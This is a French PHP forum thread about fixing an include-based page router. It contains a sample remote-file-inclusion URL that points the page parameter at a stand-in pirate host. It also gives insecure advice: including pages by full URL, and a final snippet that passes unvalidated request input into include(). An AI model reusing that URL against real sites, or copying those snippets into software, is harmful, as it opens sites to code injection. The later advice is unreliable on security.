IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

lien sous forme d'inclusion en php


Sujet :

Langage PHP

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre averti
    Profil pro
    Inscrit en
    Octobre 2006
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Octobre 2006
    Messages : 11
    Par défaut lien sous forme d'inclusion en php
    Bonjour,

    Je suis débutant en php. Je développe actuellement un site en xhtml+css+php. les liens de mon site fond appelle à du code php afin d'inclure les pages dans la partie centrale du site. (a l'aide de la fonction include).

    Mon site: http://annecy.abada.free.fr/site_v2/

    Mon site est organiser de la maniere suivante: (à la racine)

    -->index.php
    -->Dossier "page" (qui contient les pages appellé)
    -->Dossier "css" (qui contient un fichier css)
    -->Dossier "img" (qui contient mes images)

    Mon problème est le suivant:

    J'ai inséré le code php suivant dans la page index.php pour appeller mes pages à inclure (qui sont je le rappelle dans le dossier "page").

    Code:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
     
    if (!isset($_GET['page'])) $page= 'page/home.html' && include ('page/home.html');
     
    else $page= $_GET['page'];
     
    switch($page)
    {
    case 'home.html': include ('page/home.html');break;
    case 'historique.html': include ('page/historique.html');break;
    case 'abada.html':include ('page/abada.html');break;
    case 'instructeur.html':include ('page/instructeur.html');break;
    case 'casa.html':include ('page/casa.html');break;
    case 'horaire.html':include ('page/horaire.html');break;
    case 'photo.html':include ('page/photo.html');break;
    case 'musique.html':include ('page/musique.html');break;
    case 'lien.html':include ('page/lien.html');break;
    case 'lien_autre.html':include ('page/lien_autre.html');break;
    case 'contact.html': include ('page/contact.html');break;
    case 'rss.html': include ('page/rss.html');break;
    //default:
    //echo "apres par default";
    }
    ?>

    Le problème est que lorsque l'on arrive sur le site il y a deux appel à la page d'acceuil (page de news) !!! Lorsque l'on clique sur un lien tout devient ok.

    Je n'arrive pas à inclure dès le début ma page d'acceuil à la page index (qui ne sont pas dans le meme dossier) tout en conservant les liens vers les autres pages de mon site.

    J'ai vraiment chercher à résoudre mon problème tout seul (affichage de la variable , break, echo, ...) mais ça a été sans résultats. Je susi persuader que la solution est toute bete.

    Piste de solution: lorsque toutes
    Citation:
    mes pages sont à la racine
    , et que les include des case sont de la forme include ('lien_autre.html')
    LA TOUT fonctionne à merveille. Mais je souhaite mettre mes pages dans des dossiers pour une meilleures gestion de mon sites

    J'espère que quelqu'un pourra m'aider. Merci d'avance

  2. #2
    Membre Expert
    Avatar de guitou12
    Homme Profil pro
    Inscrit en
    Juillet 2006
    Messages
    1 077
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 42
    Localisation : France, Gironde (Aquitaine)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 1 077
    Par défaut
    Ta manière de procéder est tout sauf sécuritaire

    Car un individu mal intentionné pourra très bien appeler une page de ton site avec un paramètre dans le genre

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    http://annecy.abada.free.fr/site_v2/index.php?page=http://sitepirate.com/pagedebug.php
    et à ce moment là faire à peu près ce qu'il veut avec ton site (chui pas spécialiste sécurité mais en gros c'est le principe)

    Il vaut mieux que tu appelles tes paramètres avec des noms n'étant pas liés aux noms des pages

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    ex 
    http://annecy.abada.free.fr/site_v2/index.php?page=instr
    incluera la page instructeur.html
    Pour ton second souci le mieux est encore de mettre ton inclusion de la page home sur le default de ton switch comme ça si quelqu'un appelle une page bidon ou sans paramètre il va automatiquement retomber sur la page home.html

    Pour ton souci de lien il faut simplement que tu fasses l'inclusion du chemin total de ta page (http://annecy.abada.free.fr/site_v2/...ge/mapage.html)

    Le plus simple est encore de définir une constante avec l'url de ton site
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    define('_URL_','http://annecy.abada.free.fr/site_v2/');
    et ensuite de faire desincludes(_URL_.'/dossierpage/mapage.html')

    Voilà j'espére avoir été assez clair !
    Ex développeur Php / J2EE.
    Actuellement reconverti à SharePoint 2013

    Mon blog SP 2013

  3. #3
    Membre averti
    Profil pro
    Inscrit en
    Octobre 2006
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Octobre 2006
    Messages : 11
    Par défaut
    Merci, pour toute ces réponses Guitou 12,

    J'ai écris mon code comme ça et ca fonctionne.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
     
    <?php 
     
    if (!isset($_GET['page'])) $page= 'page/home.html';
     
    else $page= $_GET['page'];
     
    switch($page)
    {
    case 'home.html': include ('page/home.html');break;
    case 'historique.html': include ('page/historique.html');break;
    case 'abada.html':include ('page/abada.html');break;
    case 'instructeur.html':include ('page/instructeur.html');break;
    case 'casa.html':include ('page/casa.html');break;
    case 'horaire.html':include ('page/horaire.html');break;
    case 'photo.html':include ('page/photo.html');break;
    case 'musique.html':include ('page/musique.html');break;
    case 'lien.html':include ('page/lien.html');break;
    case 'lien_autre.html':include ('page/lien_autre.html');break;
    case 'contact.html': include ('page/contact.html');break;
    case 'rss.html': include ('page/rss.html');break;
    default:include ('page/home.html');break; 
    } 
     
    ?>
    et en modifiant mes paramètres d'appel. Faudrait'il que je teste mes pages afin d'augmenter la sécurité ? comme je l'avais lu sur un tutoriel :

    exemple du tutoriel:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
     
      // On définit le tableau contenant les pages autorisées
      // ----------------------------------------------------
      $pageOK = array('news' => 'news.php',
                      'accueil' => 'accueil.php');
     
      // On teste que le paramètre d'url existe et qu'il est bien autorisé
      // -----------------------------------------------------------------
      if ( (isset($_GET['page'])) && (isset($pageOK[$_GET['page']])) ) {
        include($pageOK[$_GET['page']]);   // Nous appelons le contenu central de la page
      } else {
        include('accueil.php');   // Page par défaut quant elle n'existe pas dans le tableau
      }
     
    ?>
    Et merci encore pour votre réponse et votre réactivité !!!

  4. #4
    Membre Expert
    Avatar de guitou12
    Homme Profil pro
    Inscrit en
    Juillet 2006
    Messages
    1 077
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 42
    Localisation : France, Gironde (Aquitaine)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 1 077
    Par défaut
    Oui pour la sécurité de ton site il est préférable d'appliquer la solution du tutoriel
    Ex développeur Php / J2EE.
    Actuellement reconverti à SharePoint 2013

    Mon blog SP 2013

  5. #5
    Membre confirmé Avatar de rougedragon
    Inscrit en
    Septembre 2006
    Messages
    132
    Détails du profil
    Informations personnelles :
    Âge : 55

    Informations forums :
    Inscription : Septembre 2006
    Messages : 132
    Par défaut
    Salut,
    Pour afficher mes pages j'ai:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    <?php
    	if(isset($_REQUEST["link"])){
    $link=$_REQUEST["link"];
    }else{
    $link="intro";
    }
    ?>
    et dans ma page
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    <?php
    include("$link.inc.php");
    ?>
    au moins si le fichier pirate.inc.php n'existe pas j'ai un message d'erreur.

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Positionner un lien sous forme d'une image
    Par allayahassine dans le forum Mise en page CSS
    Réponses: 1
    Dernier message: 29/01/2015, 12h20
  2. [MySQL] données sous forme de tableaux en php
    Par brindherbe86 dans le forum PHP & Base de données
    Réponses: 2
    Dernier message: 12/03/2008, 14h49
  3. Affichage lien sous forme d'image
    Par neoboy dans le forum Mise en page CSS
    Réponses: 4
    Dernier message: 24/01/2008, 15h57
  4. Réponses: 2
    Dernier message: 15/12/2006, 10h31
  5. Réponses: 11
    Dernier message: 30/01/2006, 16h26

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo